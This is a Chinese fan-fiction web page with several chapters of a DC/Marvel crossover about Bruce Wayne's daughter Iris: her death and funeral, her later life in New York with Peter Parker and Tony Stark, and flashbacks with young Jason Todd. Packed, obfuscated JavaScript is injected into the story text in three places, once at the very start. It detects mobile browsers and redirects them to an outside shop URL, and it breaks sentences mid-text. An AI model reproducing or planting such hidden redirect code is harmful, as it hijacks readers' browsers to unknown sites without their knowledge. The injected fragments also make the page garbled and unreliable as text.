0=7.0.6();b(/a|9|1|2|5|4|3|c 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墙上的凹痕越来越深,他的手血肉模糊,但他停不下来。 “杰森。” 这次是达米安。 杰森转过头。 达米安站在他身后,脸上什么表情都没有。但他的眼睛不一样。他眼睛里有东西,杰森见过那种东西。 他自己照镜子的时候见过。 “够了。”达米安说。 杰森看着他。 “够了?”他重复这个词,“够了?你说够了?” 他指着房间里面。 “她才四岁!她四岁!她每天就知道鳄鱼,就知道出门玩,就知道等我们回来!她做了什么?她做了什么需要这样?” 没有人回答。 “那个人!那个绿头发的疯子!他连小孩都不放过?他连她都不放过?” 杰森的声音越来越大。 “她那天出门是去买礼物!给布鲁斯买礼物!她有什么错?她有什么错!” 他冲进房间,站在床边。 布鲁斯抬起头,看着他。 杰森看着床上那个小小的身影,看着她安静的脸,看着她嘴角那一点还留着的弧度——那是她睡着时留下的。 他忽然说不出话了。 他站在那里,看着那张脸,看了很久。 然后他跪下来。 跪在床边,跪在那个他从来不知道怎么好好表达爱的小妹妹旁边。 他的手还在流血,滴在地板上,一滴,又一滴。 但他感觉不到。 他什么都感觉不到。 他只知道,她不会在早上去抓他的衣角了。 不会在他回来的时候跑过来抱他了。 不会笑嘻嘻地叫他“杰森”,露出缺了一颗的门牙了。 房间里很安静。 没有人说话。 布鲁斯坐在那里,握着女儿已经凉了的手。 达米安站在窗边,望着外面黑沉沉的夜。 提姆靠在墙上,闭着眼睛,眼角有东西在反光。 阿福站在角落里,背挺得很直,像一棵老树。 迪克站在门口,眼眶红着,什么话都说不出来。 芭芭拉在楼下,没有上来。 沉默。 漫长的沉默。 没有人说“怎么会这样”。 没有人说“她昨天还好好的”。 没有人说“我昨天还看到她笑”。 因为那些话,说出来也没有用。 她就在那里。 不会醒来,不会笑,不会在早上去抓谁的衣角。 蓝色的眼睛注视着这一切,她赤着脚丫风卷起她的黑发。 【你算是死了吗。】 她的声音很平静,艾瑞斯并不是第一次听见她的声音。 她是“哥谭”。 早在四年前她就找上了误入这个世界的天使艾瑞斯,她以融入世界的条件“请”艾瑞斯成为一份礼物。 故事的开端便回到那个清晨,布鲁斯有了一个女儿。 但他却将艾瑞斯送走,然后在某个角落看着她的成长。然后是意外,他仍旧抱着远离这个孩子的想法。但他留下了艾瑞斯最终又失去。 [这还真是突然。]艾瑞斯靠着墙,白色的长袍与翅膀。 她的指尖在空中滑动似乎在剥开着什么,眼泪淹没在黑夜。 [现在你想怎么办。] [你是天使不是吗。] 哥谭有着她的考量。 [天使。] [呵呵。] 康斯坦丁在天台抽着烟。 “我说”他已经看了有一会了。“你不打算圣迹降临…?” 那抹白色的身影转过身,她是圣洁的代表。一个看着有十七八岁的女孩。 [你这家伙仗着我没有记忆就白嫖祝福,现在跑来着说风凉话?你知道那是需要条件的。] 康斯坦丁到一脸无所谓走到艾瑞斯身旁看着她。“你父亲。他会复活你的。” [他有他的原则 他不会复活我的] 艾瑞斯收回投向远处的目光。 “那你接下来?” 艾瑞斯没回答。 “要不跟我一起驱魔?有天使在想来会方便的多。” [不用你多虑。] 康斯坦丁身旁的身影已消失不见,他接着抽完烟。“这些天使还真是…” …… 艾瑞斯立在一栋楼上,杰森正骑着车在街道中穿越着试图找到那个男人。 小丑为这座城市准备了许多礼物。 谈起艾瑞斯与杰森或许艾瑞斯从不吝啬她的爱。 [他变得更加愤怒了。] 哥谭洞悉她的每一个孩子。 [他迟早会的。他已经考虑把我再次送走了。] 布鲁斯已经为艾瑞斯联系好了隔壁大都会的寄宿家庭,但还没来得及。[你现在想怎么办。] [翻过这片记忆他们或许会变得糟糕,但或许可以改写。你是这个性格吗?我想你不会的。]她算好了一切。[我会找到合适的时间让你回归,不过是新的身份。] [让我们在等等看吧,时间总是一味良药。] ……… 7. 早上好,布鲁斯。(已修) 艾瑞斯的葬礼很简单。 她从未想过自己可以看到自己的下葬。 教堂的长椅上坐满了人。每一个人都穿着黑色的衣服,像一片沉默的乌云,压在这座古老的建筑里。彩绘玻璃窗上,圣人们低垂着眼睛,斑斓的光透过玻璃落下来,落在那口黑色的棺材上。 棺材很小。 小得像一个不该存在的东西。 艾瑞斯坐在玛丽石像的一旁,两条腿悬在空中晃着。她看着那些爱着她的人——阿福站在角落里,背挺得很直,像一棵老树。迪克低着头,看不清表情。杰森没有进来,站在门外。达米安站在窗边,望着外面,一动不动。 还有布鲁斯。 他坐在第一排,离棺材最近的地方。他没有低头,没有捂脸,没有像其他人那样掩饰什么。他只是看着那口棺材,看着那些落在棺材上的彩色光斑。 艾瑞斯也看着那口棺材。 里面的女孩穿着白色的裙子,头发梳得很整齐,手里放着一朵蓝色的鸢尾花。她闭着眼睛,像睡着了一样。 艾瑞斯看了很久。 从正午到黄昏,从阳光灿烂到彩窗的光渐渐暗淡。教堂里的人一个一个离开,脚步声轻轻响起又轻轻消失。最后只剩下布鲁斯一个人。 他还是坐在那里。 还是看着那口棺材。 直到最后一缕光从彩窗上消失,他才站起来。 他走过去,把手放在棺材上。放了一会儿。然后他转身,走出教堂。 艾瑞斯看着他离去的背影。 夜幕落下来,她被埋进土里。 布鲁斯在墓地待到很晚。 艾瑞斯坐在墓园的老树上,看着那个黑色的身影一动不动地站在那里。月光很淡,照不出他的表情。 他就那么站着。 像一尊雕像。 像一株长在那里的树。 像什么东西凝固在了时间里。 很久之后,他终于动了。 他转身,走进夜色。 艾瑞斯看着那个背影消失在黑暗中。她知道他要去哪儿。她知道今晚的哥谭还会有蝙蝠侠在屋顶上穿行,还会有披风在夜风里猎猎作响,还会有那个让罪犯闻风丧胆的黑暗骑士。 她的父亲要回去工作了。 他的心是石头做的吗?杰森呢喃过。 艾瑞斯听到过这个问题。 他的女儿才离世不久。 艾瑞斯坐在树枝上,晃着腿。 布鲁斯的心不是石头做的。恰恰相反——他的心比世界上任何东西都更加柔软。柔软到容易受伤,柔软到需要藏起来,柔软到只能用那层坚硬的壳包裹着,才能继续活下去。 他不会忘记她。 永远不会。 他只是会把那份柔软藏得更深,然后用剩下的所有力气,去做他该做的事。 雨落下来的时候,艾瑞斯找到了他。 他在一个屋顶上,站在雨中。黑色的披风被雨淋湿,沉沉地垂着。雨水顺着他的脸颊滑下来,滑过下巴,滴落。 这座城市知道他没有流出来的眼泪是什么样子。这座城市见过他太多太多次——站在雨中,站在风里,站在黑暗中,独自一个人。 艾瑞斯站在他身后不远的地方,看着那个背影。 她想起很久以前。 另一个夜晚。另一场雨。 她两岁,趴在血泊中。 寒风瑟瑟,雨水混着血水流进她的眼睛。她疼,她冷,她不知道为什么母亲和父亲躺在那里一动不动。她张开嘴,想叫,但叫不出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【起床起床起床——】那声音在她脑子里炸开,带着一股清晨特有的亢奋,【今天天气可好了!阳光明媚!适合出门!适合谈恋爱!适合——】 艾瑞斯把枕头捂在脸上。 三秒后,她坐起来。 头发乱成鸡窝,黑色吊带背心皱巴巴的,她盯着窗外那片过于灿烂的阳光,表情空白。 【早安。】哥谭的声音适时响起,低沉,平稳,带着一点若有若无的嘲弄,【纽约又在吵了?】 【……嗯。】 【习惯就好。】 艾瑞斯揉了揉眼睛,下床,赤着脚踩过地板,穿拖鞋走进卫生间。 刷牙。洗脸。把头发随便扎起来。 镜子里的脸十七岁,皮肤白得发光,眼下有一点点青色——昨晚睡得不算好。 她在想今晚的事。 晚上九点。和托尼·斯塔克,还有娜塔莎。 不是什么正式邀约,就是“聊聊”。但托尼亲自打电话,娜塔莎在背后推动,这本身就已经是正式了。 【你紧张?】哥谭问。 【没有。】 【那你在想什么?】 艾瑞斯放下牙刷。 【在想……他们到底想干什么。】 七点四十分,艾瑞斯站在衣柜前。 今天是忙碌的一天。 早上九点到下午三点:咖啡店打工。 下午三点半到六点:纽约大学,两节课。 晚上九点:赴约。 中间还要吃饭,还要骑车穿越半个纽约,还要应付纽约的唠叨。 她拿出一件灰色T恤,一条黑色工装裤,外面套一件薄款冲锋衣。头发随便扎着,脸上什么都没涂。 实用。耐脏。方便行动。 纽约发出一声哀嚎:【你就不能穿点好看的吗!昨晚那套多好啊!白色蕾丝!小裙子!今天怎么又变回这样了!】 艾瑞斯没理它。 她把那只旧鳄鱼挂件从床头柜拿起来,看了一秒,塞进冲锋衣内袋里。 贴着胸口的位置。 八点十分,艾瑞斯骑着机车出门。 清晨的纽约还没完全醒过来,街上人不多。她穿过布鲁克林的街道,风从耳边呼啸而过,头盔遮住大半张脸。 等红灯的时候,她看了眼手机。 彼得发来一条消息: 【今晚的实验别忘了!七点开始,教授说要签到!】 艾瑞斯回了一个字: 【嗯。】 绿灯亮了。 她拧下油门。 八点四十分,艾瑞斯把机车停在咖啡店后巷。 店名叫“不欢迎你”。 当初第一次看到这个名字的时候,艾瑞斯站了三秒。 老板是个六十多岁的老头,戴着圆框眼镜,头发花白,据说年轻时是个朋克乐手。他开的这家店,从装修到名字都透着一股“爱来不来”的劲儿。 但生意意外地好。 可能是因为咖啡确实不错。也可能是因为店里那种“开放式”的设计——吧台直接对着街面,一整面墙都是折叠窗,天气好的时候全部打开,路人能看到做咖啡的全过程。 艾瑞斯推开后门,走进员工间。 换围裙。洗手。检查物料。 九点整,她准时站在吧台后面。 上午的客人稀稀拉拉。 一个写东西的女生,占着角落的位置,对着电脑敲了一上午。 两个聊天的老奶奶,点了一杯美式一杯拿铁,坐了俩小时,走的时候冲艾瑞斯挥手。 还有一个戴鸭舌帽的中年男人,买了一杯浓缩,站在吧台外面看了她做咖啡看了十分钟。 纽约在她脑子里嘀咕:【这人干嘛呢?盯着你看那么久?】 艾瑞斯没抬头。 【可能是好奇。】 【好奇什么?】 【好奇咖啡怎么做。】 纽约沉默了。 哥谭轻轻笑了一声。 十一点半,店里来了个熟人。 彼得·帕克。 他推门进来的时候,艾瑞斯正在擦咖啡机。他穿着一件皱巴巴的格子衬衫,背着一个旧书包,脸上带着那种“我昨晚又没睡够”的表情。 “一杯美式,”他说,“多加一份浓缩。” 艾瑞斯看着他。 “你昨晚又熬夜了?” “没有。”彼得说,“只是……没睡好。” 艾瑞斯没追问。 她知道“没睡好”是什么意思——晚上出去晃悠了呗,当他的好邻居蜘蛛侠去了。 她转身做咖啡。 彼得趴在吧台上,看着她操作。 开放式吧台就这点好,客人能全程围观。彼得对这种设计很满意,因为他可以一边等咖啡一边说话。 “今晚的实验你记得吧?”他说,“七点,量子物理实验室,教授说要签到。” “记得。”艾瑞斯看着有些疲惫。 “你下课几点?” “六点。” “那正好,”彼得说,“下课一起去?我在图书馆等你。” 艾瑞斯想了想。 她晚上九点还要去赴约。七点到九点,做实验,然后赶过去,时间有点紧。 但她没说,这就是命吧。 “行。”她把咖啡推过去,“多加一份浓缩,四块五。” 彼得付了钱,端着咖啡找了个位置坐下。 他拿出笔记本,开始写东西。 艾瑞斯看了他一眼。 十八岁,高中生年纪,大学生身份,晚上是超级英雄。 还非要来她打工的咖啡店写作业。 【他挺可爱的。】纽约说。 【嗯。】 【你知道吗,有时候我觉得他——】 【别说。】 纽约闭嘴了。 下午一点,店里忙了一阵。 附近写字楼的白领们出来觅食,顺带买杯咖啡。艾瑞斯一个人应对,点单、做咖啡、打包,动作快得像机器。 老板从后面出来,看了一会儿,点点头,又回去了。 他对艾瑞斯很放心。 这姑娘话少,但干活利索,从不抱怨。最重要的是,客人都喜欢她——虽然她也不笑,也不闲聊,但就是莫名让人觉得还行。 但客人喜欢,就够了。 下午两点半,彼得收拾东西准备走。 他走到吧台前面,冲艾瑞斯挥手。 “我先去图书馆了。六点,别忘了。” “嗯。” “你晚上有事吗?做完实验要不要一起去吃个夜宵?” 艾瑞斯看着他,艾瑞斯的口袋里只有四美元两美分。 彼得眨眨眼。 “呃,我就是问问,”他说,“你不想去就算了。” 艾瑞斯沉默了一秒。 “今晚有事。”她说。 “哦,好。”彼得点点头,没追问,“那改天。” 他推门走了。 纽约在他身后感叹:【多好的孩子啊,多贴心啊,多——】 【闭嘴。】 【好嘞。】 下午三点,艾瑞斯下班。 换衣服,拿头盔,从后门出去。 路过街角的时候,她看到一个熟悉的身影。 红色头发。黑色便装。靠在墙边。 娜塔莎。 艾瑞斯停住脚步。 娜塔莎看着她,笑了一下。 “下班了?” 艾瑞斯没说话。 “别紧张,”娜塔莎说,“我不是来盯你的。只是路过,顺便看看。” “路过布鲁克林?” “嗯,路过。” 艾瑞斯没动。 娜塔莎站直身子,慢慢走过来。 “晚上九点,”她说,“多林咖啡厅,知道地址吗?” “知道。” “好。”娜塔莎点点头,“那就晚上见。” 她转身,走了两步,又回头。 “对了,”她说,“你那辆机车挺酷的。在哪买的?” 艾瑞斯看着她。 “改装的。” 娜塔莎笑了。 “好答案。” 她走了。 艾瑞斯站在原地,看着那个背影消失在街角。 【她绝对是故意的。】纽约说,【什么路过,就是来看你的。】 【我知道。】 【你打算怎么办?】 艾瑞斯跨上机车,戴上头盔。 “不怎么办。”她说,“晚上就知道了。” 下午三点半,纽约大学。 艾瑞斯把车停好,快步走进教学楼。 量子物理课,阶梯教室,后排靠窗的位置是她的固定座位。 教授在讲台上讲着什么,声音不大不小。艾瑞斯翻开笔记本,一边听一边记。 窗外偶尔有鸟飞过。 她想起很久以前,另一个城市,另一扇窗。 那时候她也喜欢看窗外。 但那时候的窗外没有鸟,只有灰蒙蒙的天。 【专心。】哥谭的声音响起,【你在上课。】 艾瑞斯收回视线,看向黑板。 五点半,下课。 艾瑞斯收拾东西,走出教学楼。 还有半个小时才到和彼得约好的时间。她找了个长椅坐下,拿出手机。 没有新消息。 托尼没再联系。娜塔莎也没。 她靠进椅背,看着来来往往的学生。 纽约在她耳边絮叨:【你看那边那对情侣,啧,腻歪死了。那边那几个,在讨论作业吧,好学生。那边——】 【你每天都在看这些?】 【不然呢?】纽约理直气壮,【我是这座城市,我当然要看我的孩子们在干什么。】 艾瑞斯没说话。 【你知道吗,】纽约的声音忽然低下来,【你也是我的孩子。】 艾瑞斯愣了一下。 【你在这儿住了十几年了。上学,打工,交朋友,长大。我看着你呢。】 沉默。 【谢谢。】艾瑞斯说。 纽约没回答。 但风忽然变得很轻。 六点整,艾瑞斯出现在图书馆门口。 彼得已经在等她了。他抱着两本书,手里还端着杯咖啡——不知道是第几杯了。 “走吧,”他说,“实验室在隔壁那栋楼。” 他们一起穿过校园。 彼得一边走一边说话,今天的实验内容、教授最近讲的某个理论、他昨晚看到的一篇有意思的论文。 艾瑞斯听着,偶尔“嗯”一声。 快走到实验室门口的时候,彼得忽然停下来。 “艾瑞斯。” “嗯?” 他看着她的眼睛。 “你今晚……真的没事吧?” 艾瑞斯看着他。 “为什么这么问?” 彼得犹豫了一下。 “你看起来有点……心不在焉。”他说,“从下午在咖啡店就开始了。你平时话就不多,但今天特别少。” 艾瑞斯沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244859|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼得等了一会儿,没等到回答。 他挠了挠头。 “我就是问问,”他说,“你别多想。走吧,实验要开始了。” 他推门走进实验室。 艾瑞斯站在原地,看着他的背影。 【他挺敏锐的。】哥谭说。 【嗯。】 【你打算告诉他吗?】 艾瑞斯没回答。 她推门走进去。 七点到九点,量子物理实验。 艾瑞斯和彼得一组,操作仪器、记录数据、处理结果。彼得负责动手,她负责核对和计算。 中间出了点小问题,数据一直对不上。彼得急得抓头发,艾瑞斯重新算了一遍,发现是初始值设错了。 “你怎么发现的?”彼得问。 “感觉不对。” 彼得看着她,眼神有点复杂。 “你有时候真的……”他没说完,摇了摇头,“算了,谢谢你。” 艾瑞斯没说话。 九点差五分,实验结束。 艾瑞斯收拾东西,准备离开。 “你这就走?”彼得问,“不一起去吃点东西?” “今晚有事。” “哦。”彼得点点头,“那明天见。” 他顿了顿,又说:“小心点。” 艾瑞斯看了他一眼。 他正在低头整理数据,好像那句话只是随口一说。 但她知道不是。 “嗯。”她说。 九点十分,艾瑞斯骑着机车穿过曼哈顿的街道。 夜里的纽约很亮。到处都是灯,到处都是人,到处都是声音。 她在心里过了一遍今晚可能发生的事。 托尼·斯塔克想干什么?试探?招募?还是单纯的好奇? 娜塔莎在背后推动,她想确认什么? 她想起娜塔莎今天下午出现在咖啡店后巷的样子。 “路过”。 呵。 【紧张吗?】哥谭问。 【没有。】 【那你心跳有点快。】 艾瑞斯沉默了一秒。 【风吹的。】 哥谭没说话。 但艾瑞斯知道它不信。 九点二十五分,艾瑞斯把车停在一栋大厦楼下。 多林咖啡厅,装潢简单。 她摘下头盔,看了一眼手机。 彼得发来一条消息: 【到家了说一声。】 她回了一个字: 【嗯。】 然后她抬起头,看着面前那扇门。 纽约在她耳边轻轻说:【去吧。我在这儿呢。】 哥谭沉默着,但它的存在感一直都在——那个灰扑扑的城市,隔着几百公里,也在看着她。 艾瑞斯推开门,走进去。 电梯上升。 她摸了摸夹克内袋。 那只旧鳄鱼挂件还在。 贴着胸口的位置。 叮。 电梯门打开。 她走进去。 靠橱窗的位置,两份超级大芭菲圣代。托尼已经美滋滋的享受起一份 。 面前的女孩显然已经劳累了一天带着沉重的夜的气息。 托尼将面前圣代推出。 “尝尝甜的东西吧,这总会让人更好受一些。” 大晚上吃圣代… 艾瑞斯接受了,她每周只有三天能去甜品店买份黑巧蛋糕。 天哪,孤儿的命好苦。房租好贵,学费好贵!!! “嗯,孤儿的生活是要忙碌些。” 托尼看的出来女孩与他同样是甜品爱好者,只有吃甜品后那冷漠的神情才会缓和起来。真是一位可爱的女孩,不过这些可以等会再谈论。娜塔莎已经在耳麦里催促了。 女孩吃着甜品想听听托尼想说些什么。 “从资料上看你和彼得是朋友,他一向藏不住什么。三月份的时候他们感受到了你。哇哦,圣神之光。一位被天神庇护的孩子,你干了什么。” 圣神之光托尔都很少见过,而且还不知道是哪位神祗。 “不想说也没关系,有这份庇护或许你可以为我们工作。你的能力或许可以解决一些的问题。” 这是从古一那得到的消息。 托尼已经迫不及待去哥谭搞事,打脸布鲁斯那家伙和他的紧身衣动物团队。虽然联盟的一致目的是缓和一下两边的关系与避免魔兽涌向纽约。 拥有神圣之光艾瑞斯在魔法师或者神职人员的帮助下开展“净化”。 托尔他不会,他是蛮块头。 … [我打赌是古一,她在你17岁生日那天的时候发了次呆。]纽约的声音再次在艾瑞斯耳边响起。 [你居然没有帮她掩盖吗?!!!]听的出来哥谭她非常生气。 … “无需过多担心。你只需要在后方,彼得也会陪你的。” … … 蓝色的眼眸盯着托尼。 … … “好吧,这件事是有点危险。不过你可以获得我的一章签好名的支票,多少你填…” “可以。” 艾瑞斯答应了,好活咋不干。有了支票后或许她可以过上每一天都是甜品日的生活。 “不过我不知道该怎么做。” “哦,很简单的。会有人引导你。两天后我们把你送去哥谭…” 后面说了什么艾瑞斯都没听进去了。 妈呀,这对吗。 怎么突然就要去哥谭了? 这场对话仅持续了20min 。 9. 日常4(回忆篇) 1. 杰森·陶德讨厌韦恩大宅。 这不是什么秘密。他讨厌这里的走廊太长,讨厌这里的房间太多,讨厌这里的管家永远彬彬有礼,讨厌这里的每个角落都写着“你不属于这里”。 他更讨厌布鲁斯·韦恩那种“我在努力对你好”的眼神。 好像他是个需要被修复的东西。 好像他是什么可怜的流浪猫。 2. 那天下午,杰森窝在图书室的角落里看书。 说是图书室,其实是个没人来的偏厅。书架上的书落着灰,沙发倒是很软。他喜欢这里,因为没人会来烦他。 门被推开了。 杰森抬起头,皱起眉。 门口站着一个小不点。 大概三岁,浅灰黑色的头发乱糟糟的,穿着一条碎花裙,光着脚丫。她怀里抱着一只棕色的泰迪熊——旧旧的,绒毛都磨秃了,眼睛有一颗松了,但还是被紧紧抱着。 是艾瑞斯。 那个刚被接回来的小丫头。 杰森听阿福提过:布鲁斯的亲生女儿,之前一直被人养着,最近才回来。 他没兴趣了解。 他低下头,继续看书。 小不点没走。 杰森能感觉到她的视线。就那么盯着他,一动不动。 他抬起头。 “干什么?” 小不点眨眨眼睛。 “……看你。” 杰森噎了一下。 “别看我。” “不要。”小不点坚持,“你眉毛这样。” 她学着杰森的样子,把眉毛往下压了压。 杰森看着她那张努力学他表情的小脸,忽然不知道该说什么。 小不点抱着泰迪熊,站在原地,也没有要走的意思。 沉默了三秒。 “你叫什么?”小不点问。 “杰森。” “杰森。”她重复了一遍,点点头,像是在记什么东西。 然后她转身走了。 光着脚丫,啪嗒啪嗒地消失在门口。 杰森:“……” 什么毛病。 3. 后面几天,杰森在走廊里又遇到她。 她还是在抱着那只旧泰迪熊,站在拐角处,像是在等什么。 杰森走过去的时候,她抬起头。 “杰森。” “嗯?” 小不点举起手里的泰迪熊。 “它叫杰瑞。” 杰森低头看了看那只熊。旧的,秃的,眼睛松了一颗。 “……哦。” “杰瑞说你好。” 杰森看着那张认真的小脸。 “它怎么说的?” 小不点想了想。 “它没说话。但是它看着你的时候,我觉得它想说你好。” 杰森愣了一下。 小不点已经把泰迪熊收了回去,抱在怀里,转身走了。 啪嗒啪嗒的光脚声消失在走廊尽头。 杰森站在原地,看着那个小小的背影。 4. 第三次见面是在厨房。 杰森半夜睡不着,下来找吃的。冰箱里有什么拿什么,三明治、牛奶、昨天剩的披萨——他不在意。 厨房的灯亮着。 小不点坐在料理台旁边的地上,抱着那只泰迪熊,面前摆着一杯牛奶。 阿福不在。 杰森站在门口,看着她。 小不点抬起头。 “杰森。” “你怎么在这儿?” “睡不着。” “阿福呢?” “睡觉了。” 杰森皱起眉。一个三岁小孩,大半夜不睡觉,坐在地上喝牛奶? 他走过去,把东西放在料理台上,低头看她。 “你不怕黑?” 小不点想了想。 “不怕。” “不怕一个人?” 小不点又想了想。 “杰瑞陪我。” 杰森低头看了看那只泰迪熊。松了眼睛的、秃了毛的、丑丑的泰迪熊。 他忽然不知道该说什么。 小不点捧着牛奶杯,小口小口地喝。 厨房里很安静。 杰森拿起一片披萨,靠在料理台边,也安静地吃。 过了一会儿,小不点开口了。 “杰森。” “嗯?” “你也睡不着吗?” 杰森顿了一下。 “……嗯。” “为什么?” 他低头看她。 小不点的眼睛很蓝。在厨房昏暗的灯光下,那蓝色显得很干净,很亮。 他移开视线。 “大人的事,小孩别问。” 小不点没说话。 但她抱着泰迪熊站起来,走到他旁边,靠在他腿上。 杰森僵住了。 小不点就那么靠着,也不说话,也不动,就是靠着。 软软的,暖暖的,一小团。 杰森低头看着她乱糟糟的头发。 他想说什么。 但什么都没说出来。 5. 后来杰森发现,艾瑞斯是个很奇怪的小孩。 她有些唠叨… 她不是特别爱闹,但总会在某些时候突然出现在他旁边。 有时候是在走廊里,她抱着泰迪熊路过,抬头看他一眼。 有时候是在花园里,她蹲在灌木丛边看蚂蚁,他在旁边练拳,她就那么蹲着,一下午不吭声。 有时候是在餐桌上,她坐在儿童椅上,用小勺子舀着麦片,一边吃一边看他。 迪克有一次问他:“杰森,艾瑞斯好像很喜欢你。” 杰森皱眉:“她才三岁,懂什么叫喜欢?” 迪克笑了:“她不懂,但她就是喜欢。你没发现吗?她总在你旁边。” 杰森没说话。 他发现了。 6. 那天下午,杰森在房间里。 门开着。 小不点站在门口,抱着泰迪熊,往里看。 杰森靠在床头看书,余光瞥到那个小小的身影。 “进来。” 小不点走进来,站在床边。 “杰森。” “嗯?” “你今天不开心。” 杰森愣了一下。 他看着小不点。 她那双蓝眼睛认真地看着他,没有疑问,只是陈述。 “你怎么知道?” “你吃饭的时候不说话。” “我平时也不说话。” “你平时不说话是懒得说,”小不点说,“今天不说话是不想说。” 杰森沉默了。 这小孩什么毛病。 小不点爬上他的床,在床尾坐下,把泰迪熊放在腿上。 “你可以说。”她说。 杰森看着她。 “说什么?” “什么都可以。”小不点想了想,“不说也可以。” 她拍了拍泰迪熊的头。 “杰瑞陪你。” 杰森看着那只旧旧的、丑丑的、眼睛松了一颗的泰迪熊。 他忽然想起一些事。 关于他以前的生活。关于犯罪巷。关于那些他从来不说的事。 他一直觉得,这座大宅里没人懂他。 布鲁斯不懂。迪克不懂。阿福也不完全懂。 但这个小不点…… 她什么都不问,什么都不说,就只是坐在他旁边。 软软的,暖暖的,一小团。 杰森靠回床头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244860|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着天花板。 沉默了很久。 然后他开口。 “……我以前住的地方,跟你现在待的幼儿园不太一样。” 小不点听着。 “那里很吵。很乱。有时候很危险。” 他顿了顿。 “我没见过我爸爸。我妈……她有自己的事。” 小不点没说话。 杰森继续说,声音很轻。 “所以我不太习惯这里。太安静了,太干净了,每个人都对我很好……但我不知道他们是不是真的。” 他说完,自己都愣了一下。 他从来没跟任何人说过这些。 他低头看向床尾。 小不点抱着泰迪熊,认真地看着他。 那双蓝眼睛很平静。 “我不知道。”她说。 杰森:“……” “但是杰瑞喜欢你。”她把泰迪熊往前递了递,“我也喜欢你。” 杰森看着那只递过来的泰迪熊。 旧的。秃的。眼睛松了一颗的。 丑得要命。 他忽然觉得眼眶有点酸。 “你才三岁,”他声音有点哑,“你懂什么叫喜欢?” 小不点安静了一会。 她说,“当你不在了我会想你。” 杰森没说话。 他看着那只泰迪熊,看着那双认真的蓝眼睛,看着那个坐在他床尾的小小身影。 然后他伸出手,接过那只熊。 “送给你”她说。 小不点。 她爬下床,光着脚丫,啪嗒啪嗒地走到门口。 回头看了他一眼。 “杰森。” “嗯?” “再见。” 她走了。 杰森坐在床上,抱着那只旧泰迪熊,看着空荡荡的门口。 熊的眼睛松了一颗,歪着,看起来很蠢。 他把熊抱紧了一点。 7. 那天晚上,杰森做了一个梦。 不是噩梦。 是梦到小时候,犯罪巷,那些灰扑扑的日子。 但不一样的是,梦里有一个小小的身影在他旁边。 抱着泰迪熊。光着脚丫。蓝眼睛安静地看着他。 他醒过来的时候,发现怀里抱着那只泰迪熊。 丑。旧。眼睛松了一颗。 他盯着它看了很久。 然后他把熊放在枕头边,闭上眼睛。 8. 第二天,杰森把熊还给艾瑞斯。 小不点接过来,抱在怀里,抬头看他。 “你喜欢吗?” 杰森顿了一下。 “……还行。” 小不点笑了。 再次把玩偶递给杰森。 “它是你的。” 杰森看着那个笑容,忽然觉得心里有什么地方软了一下。 “走吧,”他说,“带你去花园看蚂蚁。” 小不点伸出手,牵住他的手指。 软软的,暖暖的,小小的一团。 杰森低头看她。 她正看着前方,阳光落在她乱糟糟的头发上。 他想:这小孩以后可能会很烦人。 但他没把手抽开。 9. 后来那只泰迪熊一直放在杰森的房间。 艾瑞斯送给他的。 “杰瑞可以陪你睡觉。”她说。 杰森问:“你不需要吗?” 艾瑞斯想了想。 “你更需要。” 杰森:“……” 10. 杰森还是会想起那个下午。 一个三岁的小不点,抱着旧泰迪熊,坐在他床尾,认真地说“我喜欢你”。 那是他这辈子收到的,最柔和的爱。 10. 日常5(回忆篇) 1. 杰森·陶德发现,艾瑞斯是个很会挑时间出现的小孩。 比如现在。 下午四点半,他一个人坐在后院的台阶上。天气不算好,只有些许阳光洒下,有点像哥谭平时的样子。他盯着院子里的那棵老树,什么也没想,什么也没干。 然后身后传来啪嗒啪嗒的声音。 皮靴踩在木地板上,由远及近。 “杰森。” 他不用回头也知道是谁。 “你怎么来了?” 艾瑞斯已经走到他旁边,低头看了看自己的脚,又抬起头看他。 “不能来吗?” 杰森看着她。 没有穿外套。 “冷吗?” “不冷。”艾瑞斯说,“阿福说现在不冷。” 杰森想说阿福说的是室内不冷,但想了想,懒得争。 他拍了拍旁边的台阶。 艾瑞斯挨着他坐下。 两条小短腿悬着,一晃一晃的。 2. 沉默了一会儿。 “杰森。” “嗯?” “你又不开心了。” 杰森转头看她。 艾瑞斯也看着他。那双蓝眼睛很安静,没有疑问,只是陈述。 “你怎么知道?” “你坐在这里很久了。”艾瑞斯说,“上次你坐在这里很久的时候,也不开心。” 杰森愣了一下。 他都不记得自己什么时候在这坐过。 这小孩记得。 “我没有不开心。”他说。 “哦。”艾瑞斯点点头,没再追问。 她只是继续坐在他旁边,晃着脚。 过了一会儿,她把脑袋靠在他胳膊上。 软软的,暖暖的,一小团。 杰森低头看她。 她闭着眼睛,像是要睡着了。 “……你干嘛?” “陪你,偶尔晒太阳也不错。你暖暖的,杰森。”艾瑞斯说,眼睛都没睁开。 杰森不知道该说什么。 他就那么坐着,让那个小脑袋靠在他胳膊上。 3. 后来杰森想,艾瑞斯大概是他见过的最直接的人。 她想表达什么,就直接表达。想说什么,就直接说。从来不绕弯子,从来不藏着掖着。 比如现在。 “杰森。” “嗯?” “我想要你抱。” 杰森低头看她。 艾瑞斯站在他面前,张开手臂,仰着脸看他。那双蓝眼睛亮晶晶的,理所当然的,像是在说“这有什么问题吗”。 